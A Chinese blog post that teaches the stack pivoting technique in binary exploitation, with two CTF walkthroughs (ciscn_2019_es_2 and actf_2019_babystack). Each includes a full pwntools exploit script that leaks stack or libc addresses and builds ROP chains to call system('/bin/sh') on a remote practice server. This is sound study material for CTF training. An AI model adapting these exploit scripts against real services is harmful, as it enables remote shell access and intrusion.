首页 > 其他分享 >栈迁移

栈迁移

时间:2024-03-16 20:11:07浏览次数:20  
标签:p64 ret 地址 ebp io 迁移 addr

栈迁移

栈溢出可用的长度无法构造一个完整的ROP链,使用栈迁移换到另外的足够的地址去构造哦ROP链。

核心

两次leave; ret指令。
leave-> mov esp ebp; pop ebp
即将ebp的内容赋值给ebp(ebp指向ebp原先存储的地址),然后将esp指向ebp原先的地址
ret-> pop eip
即将栈顶内容(下一条指令的执行地址)弹进eip

原理

第一次leave; ret;
ebp指向要迁移的目的地址,esp指向原先ebp位置,eip存储leave; ret;指令地址,触发第二次。
第二次leave; ret;
esp指向要迁移的目的地址,pop ebp后,将esp栈顶的内容弹入eip中,因此栈顶中存入system函数地址,就可以getshell了。
image
我的理解。
以ciscn_2019_es_2为例,s数组距离ebp有28h的距离,而可以最多溢出30h的长度,因此恰好可以覆盖掉ebp和ret,

这里补充一下c语言的知识。在C语言中,字符串是以字符数组的形式存储的,而以’\0’结尾的字符数组被视为字符串。printf函数是按照格式化字符串中的指示输出数据的,当遇到’\0’时,printf函数会认为这是字符串的结束符,停止输出。如果参数s全部填满,并且没有在末尾补上’\0’,那么printf函数将会继续输出内存中的数据,直到遇到’\0’为止。
在C语言中,字符数组通常是连续存储的,紧接着字符数组的末尾可能是其他变量或者数据。当printf函数继续输出字符数组后面的数据时,它会按照内存中数据的存储顺序输出,这样就可能输出了其他变量的值,甚至输出了存储在栈上的数据,如ebp地址。

当我们得到ebp地址后就可以推算出参数s在栈上的地址,从而在第二个read函数中进行栈偏移,把shell写入参数s的栈上。
我们根据调试,向程序填入'aaaa',得到位置距离ebp有0x38的长度,因此得到覆盖ebp的地址。因此在栈上填写的内容

p='aaaa'+p32(system_addr)+p32(0)+p32(bin_sh_addr)+'/bin/sh'

即'aaaa',system函数的地址,system函数的返回地址,/bin/sh字符串的地址 以及 字符串内容。因此字符串的地址位于s+0x4*4=0x10+s的位置,这样payload就有了。

from pwn import *
log_level = 'debug'
io = remote('node5.buuoj.cn', 26294)
elf = ELF('./pwn')
leave_ret = 0x8048562
system_addr = elf.sym['system']
payload = b'a' * 0x27 + b'b' * 0x1
io.sendafter('name?\n',payload)
io.recvuntil('b')
ebp_addr = u32(io.recv(4))
s_addr = ebp_addr - 0x38
print('--------------->' + hex(ebp_addr))
pause()
bin_sh_addr = s_addr + 0x10
p = b'aaaa' + p32(system_addr) + p32(0) + p32(bin_sh_addr) + b'/bin/sh'
p = p.ljust(0x28, b'\0')
p += p32(s_addr) + p32(leave_ret)
io.sendafter('\n',p)
io.interactive()

注意这个sendline()send()的区别,一开始因为这个问题老是打不通,sendline()会自动在末尾添加换行符
再一个例子

actf_2019_babystack

64位未开canary保护的,大概运行一下程序可以发现漏洞应该是在read(0,s,nbytes)这里最大nbytes可以是0xE0,而s最大0xD0,正好可以栈溢出覆盖ebp和ret的值,符合栈迁移。
后面的输出可以泄露栈的地址,然后找到一个可写的地址迁移到上面去,打ret2libc

from pwn import *
from LibcSearcher import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
#io = process('./pwn')
io = remote('node5.buuoj.cn', 26746)
elf = ELF('./pwn')
main_addr= 0x4008f6
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
ret = 0x400709
pop_rdi = 0x400ad3
leave_ret = 0x400a18

io.recvuntil('>')
io.sendline(str(224))
io.recvuntil(b'0x')
s_addr = int(io.recvuntil('\n', drop = True), 16)
print("----------->" + hex(s_addr))

payload = b'aaaaaaaa' + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
payload = payload.ljust(0xd0, b'\x00')
payload += p64(s_addr) + p64(leave_ret)
io.sendafter('message?',payload)

puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print("------>" + hex(puts_addr))
pause()

libc = ELF('./libc-2.27.so')
libc_case = puts_addr - libc.sym['puts']
system_addr = libc_case + libc.sym['system']
binsh_addr = libc_case + libc.search(b'/bin/sh').__next__()

io.sendline(str(224))
io.recvuntil(b'0x')
s_addr = int(io.recvuntil('\n', drop = True), 16)

p = b'aaaaaaaa' + p64(pop_rdi) + p64(binsh_addr) + p64(ret) + p64(system_addr)
p = p.ljust(0xd0, b'\x00')
p += p64(s_addr) + p64(leave_ret)
io.send(p)
io.interactive()

标签:p64,ret,地址,ebp,io,迁移,addr
From: https://www.cnblogs.com/chang-room/p/18077524

相关文章

  • ssts-hospital-web-master项目实战记录三十三:项目迁移-核心模块实现(useDeviceDriver-
    一、设备驱动模块实现service/device-driver/ezware/function-ws/idc-motor-device.tsimport{EventFunctionType,EventResultType}from'@/types'import{EZMessageType,EZWebSocket}from'./ez-web-socket'classIdcMotor{ client:EZWebSocket......
  • 单体JOB向分布式JOB迁移案例
    一、背景1.1前言相信大家在工作中多多少少都离不开定时任务吧,每个公司对定时任务的具体实现都不同。在一些体量小的公司或者一些个人独立项目,服务可能还是单体的,并且在服务器上只有一台实例部署,大多数会采用spring原生注解@Scheduled配合@EnableScheduling使用,这也足够了。......
  • redis cluster 迁移
    一、redis迁移概述。生产环境Redis当前部署环境为六台16核126G服务器,服务器资源整体配置较高,使用率较低(具体使用率参见表一)。为了更好地提升资源使用率,优化成本,故对rediscluster集群做迁移和合并。Rediscluster集群的迁移步骤为:首先安装redis集群,再次迁移redis数据,最后做业务切......
  • 迁移学习的技术突破与应用前景
    目录前言1迁移学习技术1.1原理与分类1.2主要挑战2迁移学习应用2.1计算机视觉2.2医疗健康3未来展望3.1推动各领域发展3.2提高模型泛化能力和效果3.3在新兴领域中广泛应用结语前言迁移学习作为机器学习领域的重要技术之一,以其能够将从一个任务中学到的知......
  • 【PG】Ora2pg 数据库对象迁移顺序
    在将数据库对象从Oracle迁移到PostgreSQL时,以下是一个常见的迁移顺序建议:表:首先迁移表的结构和数据,因为其他对象(如索引、触发器和函数)可能依赖于表的存在。索引:迁移表之后,迁移索引。在PostgreSQL中创建与Oracle索引相对应的索引。触发器:迁移触发器。在PostgreSQL中创建与O......
  • 【PG】不同PG中迁移表
    #!/bin/bash#SourcedatabasecredentialsSRC_DB_HOST="localhost"SRC_DB_PORT="5442"SRC_DB_NAME="postgres"SRC_DB_USER="myuser"SRC_DB_PASS='mypwd'#DestinationdatabasecredentialsDEST_DB_HOST="l......
  • 服务平滑迁移:eureka迁移到nacos。无法注册双中心的问题解决
    迁移的文档:https://www.alibabacloud.com/help/zh/edas/developer-reference/smoothly-migrate-a-spring-cloud-cluster-that-contains-multiple-applications-to-edas其中遇到的问题未配置排除配置项时(exclude={RibbonEurekaAutoConfiguration.class}),ribbonServerList不是......
  • 语雀迁移至Obsidian
    背景本人从2020年初开始使用语雀,在这段时间中通过语雀做了大量的笔记,也写了一些自己的博客,十分感谢语雀,给了我一个干净整洁的mark在线笔记。在最近这一个月内,起因是某天在b站看到了对Obsidian的介绍,本来自己也是十分想要记日记的,但是无奈语雀不可以定制日记模版,以及其他模版。另......
  • 栈迁移总结
    一,栈迁移是什么博......
  • dock迁移备份(自定义镜像)
    1运行一个centos容器dockerrun-id--namecentos_vimcentos:centos72在容器中装vimdockerexec-ita6e240/bin/bashyuminstallvim-y3把容器做成镜像(centos+vim)dockercommitcentos_vimcentos_vim_image4把centos_vim容器删除dockerrmcentos_vim-f......